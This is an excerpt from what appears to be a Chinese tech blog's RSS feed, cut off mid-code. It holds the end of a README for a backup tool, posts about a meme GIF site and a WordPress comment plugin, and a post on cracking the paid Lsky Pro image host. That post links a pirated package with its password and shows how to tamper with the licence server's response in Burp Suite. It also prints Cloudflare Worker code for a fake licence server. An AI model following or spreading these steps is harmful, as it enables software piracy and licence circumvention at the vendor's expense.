&lt;p&gt;&lt;strong&gt;网络连接问题&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;检查完整URL是否正确http与非标准端口需要填写完整URL&lt;/li&gt;
&lt;li&gt;确认服务器端口是否开放&lt;/li&gt;
&lt;li&gt;确认网站的完整API路径可访问&lt;/li&gt;
&lt;li&gt;确保使用版本支持导出&lt;/li&gt;
&lt;li&gt;确认网站没有IP限制&lt;/li&gt;
&lt;li&gt;如果使用HTTP确保服务器支持HTTP连接&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;HTTP特有问题&lt;/strong&gt;某些网络环境可能阻止HTTP连接建议先测试HTTPS&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;协议相关问题&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;HTTP&lt;/strong&gt;: 检查是否被防火墙或代理阻止&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;HTTPS&lt;/strong&gt;: 检查SSL证书是否有效&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;端口&lt;/strong&gt;: 确认自定义端口已正确开放&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;超时&lt;/strong&gt;: 如果服务器响应慢,可能需要增加超时时间&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;JSON解析错误&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;确认版本大于2.0.3&lt;/li&gt;
&lt;li&gt;检查API是否正常工作&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;变更检测问题&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;如果怀疑变更检测有误,可以设置 &lt;code&gt;ENABLE_CHANGE_DETECTION=false&lt;/code&gt; 强制备份&lt;/li&gt;
&lt;li&gt;检查 &lt;code&gt;latest_backup.json&lt;/code&gt; 文件是否存在且格式正确&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;配置错误&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;如果看到 &lt;code&gt;invalid literal for int()&lt;/code&gt; 错误,检查 &lt;code&gt;MAX_BACKUPS&lt;/code&gt; 是否设置了有效数字&lt;/li&gt;
&lt;li&gt;可选配置项如果不需要可以不设置,程序会使用默认值&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;本地测试方法&lt;/h3&gt;
&lt;p&gt;在配置GitHub Actions之前建议先在本地测试连接&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# 测试HTTP连接
curl -v -u &quot;username:password&quot; &quot;http:///api/manage/sysConfig/backup?action=backup&quot;
# 测试HTTPS连接如果支持
curl -v -u &quot;username:password&quot; &quot;https:///api/manage/sysConfig/backup?action=backup&quot;
# 检查端口是否开放
telnet 11
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;查看日志&lt;/h3&gt;
&lt;p&gt;在GitHub Actions页面可以查看详细的执行日志包括&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;认证过程&lt;/li&gt;
&lt;li&gt;下载进度&lt;/li&gt;
&lt;li&gt;变更检测结果&lt;/li&gt;
&lt;li&gt;文件保存状态&lt;/li&gt;
&lt;li&gt;错误信息&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;自定义配置&lt;/h2&gt;
&lt;p&gt;你可以修改以下设置:&lt;/p&gt;
&lt;h3&gt;修改备份时间&lt;/h3&gt;
&lt;p&gt;编辑 &lt;code&gt;.github/workflows/backup.yml&lt;/code&gt; 中的cron表达式&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;schedule:
- cron: &apos;0 18 * * *&apos; # 每天UTC时间18:00北京时间02:00
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;修改保留备份数量&lt;/h3&gt;
&lt;p&gt;编辑 &lt;code&gt;backup_script.py&lt;/code&gt; 中的清理逻辑或者在GitHub仓库机密中设置 &lt;code&gt;MAX_BACKUPS&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# 默认保留最近的100个备份文件
self.max_backups = int(os.getenv(&apos;MAX_BACKUPS&apos;, &apos;100&apos;))
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;禁用变更检测&lt;/h3&gt;
&lt;p&gt;如果你希望每次都强制保存(不管数据是否变化),可以设置:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# 在GitHub仓库机密中设置
ENABLE_CHANGE_DETECTION: false
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;安全注意事项&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;🔒 仓库隐私保护&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;强制私有仓库&lt;/strong&gt;: 程序强制要求仓库必须设置为私有状态,无法禁用&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;自动检查机制&lt;/strong&gt;: 程序会在每次运行前检查仓库隐私状态&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;拒绝公开备份&lt;/strong&gt;: 检测到公开仓库时会立即终止备份任务&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;机密管理&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;永远不要在代码中硬编码用户名和密码&lt;/li&gt;
&lt;li&gt;使用GitHub Secrets安全存储敏感信息&lt;/li&gt;
&lt;li&gt;定期轮换密码和访问令牌&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;访问权限&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;确保GitHub仓库的访问权限设置合适&lt;/li&gt;
&lt;li&gt;仅向必要人员授予仓库访问权限&lt;/li&gt;
&lt;li&gt;考虑启用分支保护规则&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;备份内容&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;备份文件可能包含用户数据、配置信息、API密钥等敏感信息&lt;/li&gt;
&lt;li&gt;定期审查备份内容,确保没有意外包含不应备份的敏感数据&lt;/li&gt;
&lt;li&gt;考虑对备份文件进行额外的加密处理&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;监控和审计&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;定期检查Actions运行日志&lt;/li&gt;
&lt;li&gt;监控仓库访问记录&lt;/li&gt;
&lt;li&gt;及时响应任何安全警告&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;⚠️ 重要提醒&lt;/strong&gt;: 数据安全是您的责任。虽然程序提供了多重保护机制,但请始终保持安全意识,确保正确配置和使用。&lt;/p&gt;
&lt;h2&gt;贡献&lt;/h2&gt;
&lt;p&gt;欢迎提交&lt;a href=&quot;https://github.com/yunsen2025/cloudflare-imgbed-auto-backup/issues&quot;&gt;Issues&lt;/a&gt;&lt;a href=&quot;https://github.com/yunsen2025/cloudflare-imgbed-auto-backup/pulls&quot;&gt;Pull Requests&lt;/a&gt;来改进这个项目!&lt;/p&gt;
&lt;h2&gt;许可证&lt;/h2&gt;
&lt;p&gt;MIT License&lt;/p&gt;
</content:encoded></item><item><title>Ciallo(∠・ω&lt; )⌒★</title><link>https://blog.acofork.com/posts/paoshoushou/</link><guid isPermaLink="true">https://blog.acofork.com/posts/paoshoushou/</guid><description>[开源]刨手手表情包下载站</description><pubDate>Thu, 21 Aug 2025 00:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;本文由 https://github.com/afoim/fuwari/pull/40 提供,非站长原创&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h1&gt;刨手手表情包下载站&lt;/h1&gt;
&lt;p&gt;一个简单、美观、现代化的表情包预览和下载网站 &lt;a href=&quot;https://paoshoushou.112601.xyz/&quot;&gt;体验界面&lt;/a&gt;
&lt;img src=&quot;https://imgbed.112601.xyz/file/1755431008556.png&quot; alt=&quot;示例&quot; /&gt;&lt;br /&gt;
&lt;a href=&quot;#&quot;&gt;项目主页文章(博客)&lt;/a&gt; | &lt;a href=&quot;https://paoshoushou.112601.xyz/&quot;&gt;体验界面&lt;/a&gt; | &lt;a href=&quot;https://github.com/yunsen2025/paoshoushouGIF-web&quot;&gt;GitHub仓库&lt;/a&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;[!NOTE]&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;这是一个纯前端项目,无需后端支持,可直接部署到任何静态网站托管服务&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h1&gt;项目特性:&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;🎨 &lt;strong&gt;现代化设计&lt;/strong&gt;采用渐变背景、玻璃拟态、流畅动画等现代UI设计&lt;/li&gt;
&lt;li&gt;📱 &lt;strong&gt;完全响应式&lt;/strong&gt;:支持手机、平板、电脑等各种设备,自适应布局&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;轻量高效&lt;/strong&gt;纯HTML+CSS+JS无框架依赖加载速度快&lt;/li&gt;
&lt;li&gt;🖱️ &lt;strong&gt;交互友好&lt;/strong&gt;:点击图片直接下载,悬停显示下载提示,操作简单直观&lt;/li&gt;
&lt;li&gt;🎭 &lt;strong&gt;丰富表情&lt;/strong&gt;:内置多个精选表情包,涵盖各种场景&lt;/li&gt;
&lt;li&gt;📦 &lt;strong&gt;自动打包&lt;/strong&gt;GitHub Actions自动打包表情包为zip文件发布到Releases&lt;/li&gt;
&lt;li&gt;🔧 &lt;strong&gt;易于扩展&lt;/strong&gt;:简单的数组配置,可轻松添加新的表情包&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h1&gt;使用方式:&lt;/h1&gt;
&lt;h2&gt;1. 直接访问&lt;/h2&gt;
&lt;p&gt;访问在线体验地址:&lt;a href=&quot;https://paoshoushou.112601.xyz/&quot;&gt;https://paoshoushou.112601.xyz/&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;2. 本地部署&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;克隆或下载项目文件&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;git clone https://github.com/yunsen2025/paoshoushouGIF-web.git
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;直接用浏览器打开 &lt;code&gt;index.html&lt;/code&gt; 文件&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;3. 服务器部署&lt;/h2&gt;
&lt;p&gt;将项目文件上传到任何支持静态文件的Web服务器即可&lt;/p&gt;
&lt;hr /&gt;
&lt;h1&gt;文件结构&lt;/h1&gt;
&lt;pre&gt;&lt;code&gt;paoshoushouGIF-web/
├── index.html # 主页面文件
├── claude.html # 备用页面
├── README.md # 项目说明
├── pack-release.sh # 手动打包脚本
├── .github/
│ └── workflows/
│ └── release.yml # GitHub Actions自动打包配置
└── gif/ # 表情包文件夹
├── 0.gif
├── 1.gif
├── ...
└── 48.gif
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h1&gt;功能说明&lt;/h1&gt;
&lt;h2&gt;核心功能&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;功能&lt;/th&gt;
&lt;th&gt;描述&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;表情预览&lt;/td&gt;
&lt;td&gt;网格布局展示所有表情包,支持懒加载&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;点击下载&lt;/td&gt;
&lt;td&gt;点击任意表情包图片即可下载到本地&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;悬停提示&lt;/td&gt;
&lt;td&gt;鼠标悬停显示下载图标提示&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;批量下载&lt;/td&gt;
&lt;td&gt;点击右上角按钮可下载整个项目&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;响应式布局&lt;/td&gt;
&lt;td&gt;根据屏幕大小自动调整列数&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;加载动画&lt;/td&gt;
&lt;td&gt;表情包依次淡入,提升用户体验&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;技术特色&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;现代CSS&lt;/strong&gt;使用CSS Grid、Flexbox、渐变、阴影等现代特性&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;流畅动画&lt;/strong&gt;:悬停效果、过渡动画、加载动画&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;玻璃拟态&lt;/strong&gt;:毛玻璃效果营造现代感&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;多媒体查询&lt;/strong&gt;5个断点适配不同屏幕尺寸&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h1&gt;自动打包说明&lt;/h1&gt;
&lt;h2&gt;🤖 GitHub Actions 自动打包&lt;/h2&gt;
&lt;p&gt;项目配置了GitHub Actions可以自动将gif文件夹打包为zip文件&lt;/p&gt;
&lt;h3&gt;触发条件&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;当向 &lt;code&gt;gif/&lt;/code&gt; 文件夹添加新文件时自动触发&lt;/li&gt;
&lt;li&gt;手动在GitHub上触发 (Actions -&amp;gt; 自动打包表情包 -&amp;gt; Run workflow)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;下载方式&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;访问 &lt;a href=&quot;https://github.com/yunsen2025/paoshoushouGIF-web/releases&quot;&gt;Releases页面&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;下载最新版本的zip文件&lt;/li&gt;
&lt;li&gt;或点击网站右上角&quot;📦 一键下载图包&quot;按钮&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;文件内容&lt;/h3&gt;
&lt;p&gt;打包的zip文件包含&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;所有gif表情包文件&lt;/li&gt;
&lt;li&gt;README.txt说明文件包含使用说明和版权信息&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h1&gt;自定义配置&lt;/h1&gt;
&lt;h2&gt;添加新表情包&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;将GIF文件放入 &lt;code&gt;gif/&lt;/code&gt; 文件夹&lt;/li&gt;
&lt;li&gt;&lt;code&gt;index.html&lt;/code&gt; 中的 &lt;code&gt;memeData&lt;/code&gt; 数组添加新条目:&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;const memeData = [
// 现有表情包...
{ name: &quot;新表情&quot;, url: &quot;/gif/新文件名.gif&quot; }
];
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;推送到GitHub后Actions会自动创建新的打包版本&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;修改样式主题&lt;/h2&gt;
&lt;p&gt;在CSS中修改以下变量来改变主题色彩&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;背景渐变:&lt;code&gt;body&lt;/code&gt;&lt;code&gt;background&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;头部颜色:&lt;code&gt;header&lt;/code&gt;&lt;code&gt;background&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;卡片样式:&lt;code&gt;.meme-item&lt;/code&gt; 相关样式&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h1&gt;浏览器兼容性&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;✅ Chrome 60+&lt;/li&gt;
&lt;li&gt;✅ Firefox 55+&lt;/li&gt;
&lt;li&gt;✅ Safari 12+&lt;/li&gt;
&lt;li&gt;✅ Edge 79+&lt;/li&gt;
&lt;li&gt;✅ 移动端浏览器&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h1&gt;开源协议&lt;/h1&gt;
&lt;p&gt;本项目采用 MIT 协议开源,欢迎 Fork 和贡献代码。&lt;/p&gt;
&lt;hr /&gt;
&lt;h1&gt;特别说明&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;本网站仅提供表情包预览与下载,版权归原作者所有&lt;/li&gt;
&lt;li&gt;如有侵权,请通过 GitHub Issues 联系我们&lt;/li&gt;
&lt;li&gt;欢迎通过 Pull Request 贡献更多表情包内容&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>简洁的wordpress评论回复插件示例</title><link>https://blog.acofork.com/posts/wordpress-pinglunhuifu/</link><guid isPermaLink="true">https://blog.acofork.com/posts/wordpress-pinglunhuifu/</guid><description>Wordpress回复插件</description><pubDate>Thu, 21 Aug 2025 00:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;本文由 https://github.com/afoim/fuwari/pull/40 提供,非站长原创&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/yunsen2025/wordpress-pinglunhuifu&quot;&gt;https://github.com/yunsen2025/wordpress-pinglunhuifu&lt;/a&gt;&lt;/p&gt;
&lt;h1&gt;效果演示&lt;/h1&gt;
&lt;p&gt;&lt;img src=&quot;https://imgbed.112601.xyz/file/1755431020051.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;关于代码&lt;/h1&gt;
&lt;p&gt;&lt;a href=&quot;https://www.yunsen2025.top/007-wp-ping-lun-hui-fu-cha-jian/&quot;&gt;https://www.yunsen2025.top/007-wp-ping-lun-hui-fu-cha-jian/&lt;/a&gt;&lt;br /&gt;
必应搜的优化了一下不满意的可以自由更换插件中的邮件html内容&lt;/p&gt;
&lt;h1&gt;使用方法&lt;/h1&gt;
&lt;p&gt;直接下载php打包zip去wp后台上传或把代码粘贴到functions.php主题一更新就没了&lt;/p&gt;
&lt;h1&gt;赞助&lt;/h1&gt;
&lt;p&gt;&lt;a href=&quot;https://www.yunsen2025.top/support/&quot;&gt;前往&lt;/a&gt;&lt;/p&gt;
</content:encoded></item><item><title>记录破解兰空图床Lsky-Pro</title><link>https://blog.acofork.com/posts/hack-lskypro/</link><guid isPermaLink="true">https://blog.acofork.com/posts/hack-lskypro/</guid><description>兰空图床是一个简洁易用(?)的图床框架,抓包了一下激活过程,这玩意居然没加密...记录一下</description><pubDate>Tue, 19 Aug 2025 21:09:47 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;仅供学习交流请在下载后24h内删除。体验地址 https://lsky.2x.nz&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h1&gt;新版本地安装,无需绕过授权! &lt;a href=&quot;/posts/lskypro-local/&quot;&gt;点我&lt;/a&gt;&lt;/h1&gt;
&lt;h1&gt;下载包体&lt;/h1&gt;
&lt;p&gt;兰空图床Pro付费版包 https://r2.072103.xyz/lp223.zpaq 解压密码2x.nz二叉树树&lt;/p&gt;
&lt;h1&gt;配置环境&lt;/h1&gt;
&lt;p&gt;自行参考: https://docs.lsky.pro/guide/install&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;推荐使用宝塔面板部署&lt;/strong&gt;1Panel的容器化PHP好像有点问题&lt;/p&gt;
&lt;p&gt;如果坚持要用1Panel推荐使用PHP8.2出现500404等状态码问题请自行解决似乎需要一个特殊的 &lt;code&gt;fallback&lt;/code&gt; 设置。感谢 fishcpy提供的解决方案这里是他的部署教程 &lt;a href=&quot;https://linux.do/t/topic/882900&quot;&gt;AcoFork的兰空图床开心版1panel部署教程 - 福利羊毛 - LINUX DO&lt;/a&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;    # 全局 404 交给 @fallback 处理,不强制状态码
    error_page 404 @fallback;
    location / {
        try_files $uri $uri/ @fallback;
    }
    # 命名 location交给 index.php但不强制 200
    location @fallback {
        rewrite ^ /index.php last;
    }
    # -----------------------------
    # 特殊路径:/api/v2/ 也走 index.php但不能强制 200
    # -----------------------------
    location ^~ /api/v2/ {
        # 同样使用 @fallback不强制状态码
        try_files $uri $uri/ @fallback;
    }
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;破解授权&lt;/h1&gt;
&lt;p&gt;首先为你的Linux配置一个HTTP代理指向 Burp Suite软件自己找&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;export http_proxy=&quot;http://127.0.0.1:8080&quot;
export https_proxy=&quot;http://127.0.0.1:8080&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/a5fd2695975981d785cea1af5c0ee9588dc1b9ee.DUfv4f3B.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;默认Burp仅拦截请求不拦截响应需要手动设置一下&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2690f8470df19d0c4a0f134835a7cbc95c9798fd.ahFuCoGN.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;然后启用拦截&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/52650c556acc9406923fb824823fe3a04e153d5d.q3y15nGq.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;当你通过官方教程到执行 &lt;code&gt;./install.sh&lt;/code&gt; 的时候&lt;/p&gt;
&lt;p&gt;会要求输入域名和授权密钥,域名填你自己的,否则之后上传的图片的预览地址将会不正确!授权密钥随便填!&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/67b17d4c5f5d7ba8d2e2ee348d19bc01c6d42b1d.6VpGAQfV.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;回车,会开始转圈圈&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/fb540faa472d476e8d6b05a04d01be5a19adb236.zgFprmd_.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;查看Burp发现多了一个请求首先点击放行&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/8a6dd20b7ad55a9fdad795be358b8486b75de5b7.qQkpcSwj.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;现在出现了响应并且状态码为401&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/ce862cb4eeefc2a7a52bea44e4e6ab137a7cd3da.BCRMRJ0h.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;响应那块是可以编辑的,用 https://r2.072103.xyz/lsky_success_223.txt 中的内容替换原响应。然后点击放行&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/b8545b978629815aec471489890a0be62f0a8f89.AjyFWKM7.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;恭喜,通过授权了&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/fdda3a54fd4a6da5d0c0c9d5ac0fbd5b79ef2b51.DiD4Op2o.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;安装完毕后也一样&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/79f0f4645235e7cb3ecbe554cb13295bed326be5.Dvas3eI5.png&quot; alt=&quot;&quot; /&gt;38dd52c6e.png)&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;注意。如果需要更新新版本,仍然需要有效的授权密钥,否则无法得到新版包体&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h1&gt;自建授权服务器&lt;/h1&gt;
&lt;p&gt;可以通过Cloudflare Worker自建授权。感谢一位不愿透露姓名的小伙伴提供的代码&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;addEventListener(&apos;fetch&apos;, event =&amp;gt; {
event.respondWith(handleRequest(event.request));
});
async function handleRequest(request) {
const jsonContent = `[{&quot;logo&quot;:&quot;products\\/lsky-pro.png&quot;,&quot;name&quot;:&quot;V 2.2.3&quot;,&quot;version&quot;:&quot;2.2.3&quot;,&quot;changelog&quot;:&quot;### \\u4f18\\u5316\\n- \\u6539\\u8fdb\\u76f8\\u518c\\u5217\\u8868\\u6837\\u5f0f\\n\\n### \\u4fee\\u590d\\n- \\u4fee\\u590d\\u4f7f\\u7528\\u624b\\u673a\\u53f7\\u6ce8\\u518c\\u8d26\\u53f7\\u8981\\u6c42\\u8f93\\u5165\\u90ae\\u7bb1\\u7684 bug\\n- \\u4fee\\u590d\\u72ec\\u7acb\\u9875\\u9762 title \\u663e\\u793a\\u4e0d\\u6b63\\u786e\\u7684 bug&quot;,&quot;pushed_at&quot;:&quot;2025-07-29&quot;,&quot;milestone&quot;:&quot;stable&quot;,&quot;download_url&quot;:&quot;https:\\/\\/dl.huohuastudio.com\\/packages\\/products\\/lsky-pro\\/2.2.3.zip?X-Amz-Content-Sha256=UNSIGNED-PAYLOAD&amp;amp;X-Amz-Algorithm=AWS4-HMAC-SHA256&amp;amp;X-Amz-Credential=d8vF9cr3Wmbu8qHMD3W1%2F20250818%2Fus-west-2%2Fs3%2Faws4_request&amp;amp;X-Amz-Date=20250818T141321Z&amp;amp;X-Amz-SignedHeaders=host&amp;amp;X-Amz-Expires=1800&amp;amp;X-Amz-Signature=40682060b50fa3ee0f520f78418e5f0754277e14e4794f5e283ab4149a6028eb&quot;},{&quot;logo&quot;:&quot;products\\/lsky-pro.png&quot;,&quot;name&quot;:&quot;V 2.2.2&quot;,&quot;version&quot;:&quot;2.2.2&quot;,&quot;changelog&quot;:&quot;### \\u65b0\\u589e\\n- \\u540e\\u53f0\\u7ba1\\u7406\\u5217\\u8868\\u589e\\u52a0\\u8fc7\\u6ee4\\u5668\\n- \\u652f\\u6301\\u8bbe\\u7f6e\\u9ed8\\u8ba4\\u4e0a\\u4f20\\u50a8\\u5b58\\n- \\u652f\\u6301\\u6279\\u91cf\\u590d\\u5236\\u94fe\\u63a5\\n- \\u652f\\u6301\\u63a7\\u5236\\u5e7f\\u573a\\u662f\\u5426\\u5c55\\u793a\\n\\n### \\u4f18\\u5316\\n- \\u6539\\u8fdb\\u6837\\u5f0f\\n- \\u7f51\\u9875 title \\u6839\\u636e\\u5f53\\u524d\\u83dc\\u5355\\u663e\\u793a\\n- \\u4eea\\u8868\\u76d8\\u589e\\u52a0\\u7edf\\u8ba1\\u5361\\u7247\\n- \\u6539\\u8fdb\\u5e7f\\u573a\\u7684\\u56fe\\u7247\\u5217\\u8868\\u663e\\u793a\\n\\n### \\u4fee\\u590d\\n- \\u4fee\\u590d\\u4f7f\\u7528 libvips \\u9a71\\u52a8\\u65f6\\u4e91\\u5904\\u7406\\u8f93\\u51fa\\u56fe\\u7247\\u8fd8\\u662f\\u4f7f\\u7528 imagick \\u5904\\u7406\\u7684 bug\\n- \\u4fee\\u590d\\u56fe\\u7247\\u5904\\u7406\\u4e2d\\u6c34\\u5370\\u9009\\u62e9\\u5e73\\u94fa\\u540e\\u4fdd\\u5b58\\u63d0\\u793a\\u9700\\u8981\\u9009\\u62e9\\u6c34\\u5370\\u4f4d\\u7f6e\\u7684 bug\\n- \\u4fee\\u590d\\u5220\\u9664\\u56fe\\u7247\\u540e\\u4e91\\u5904\\u7406\\u7f13\\u5b58\\u56fe\\u7247\\u672a\\u88ab\\u5220\\u9664\\u7684 bug\\n- \\u4fee\\u590d\\u4e03\\u725b\\u4e91\\u65e0\\u6cd5\\u4f7f\\u7528\\u4e91\\u5904\\u7406\\u7684 bug\\n- \\u4fee\\u590d docker \\u8fd0\\u884c\\u65f6\\u51fa\\u73b0\\u50f5\\u5c38\\u8fdb\\u7a0b\\u7684 bug&quot;,&quot;pushed_at&quot;:&quot;2025-07-28&quot;,&quot;milestone&quot;:&quot;stable&quot;,&quot;download_url&quot;:&quot;https:\\/\\/dl.huohuastudio.com\\/packages\\/products\\/lsky-pro\\/2.2.2.zip?X-Amz-Content-Sha256=UNSIGNED-PAYLOAD&amp;amp;X-Amz-Algorithm=AWS4-HMAC-SHA256&amp;amp;X-Amz-Credential=d8vF9cr3Wmbu8qHMD3W1%2F20250818%2Fus-west-2%2Fs3%2Faws4_request&amp;amp;X-Amz-Date=20250818T141321Z&amp;amp;X-Amz-SignedHeaders=host&amp;amp;X-Amz-Expires=1800&amp;amp;X-Amz-Signature=3bf98a43189be65ec64339f67db0e98e58e76646e820994d05727869167aade0&quot;},{&quot;logo&quot;:&quot;products\\/lsky-pro.png&quot;,&quot;name&quot;:&quot;V 2.2.1&quot;,&quot;version&quot;:&quot;2.2.1&quot;,&quot;changelog&quot;:&quot;### \\u65b0\\u589e\\n- \\u50a8\\u5b58\\u652f\\u6301\\u63a7\\u5236\\u662f\\u5426\\u9700\\u8981\\u751f\\u6210\\u7f29\\u7565\\u56fe\\n- 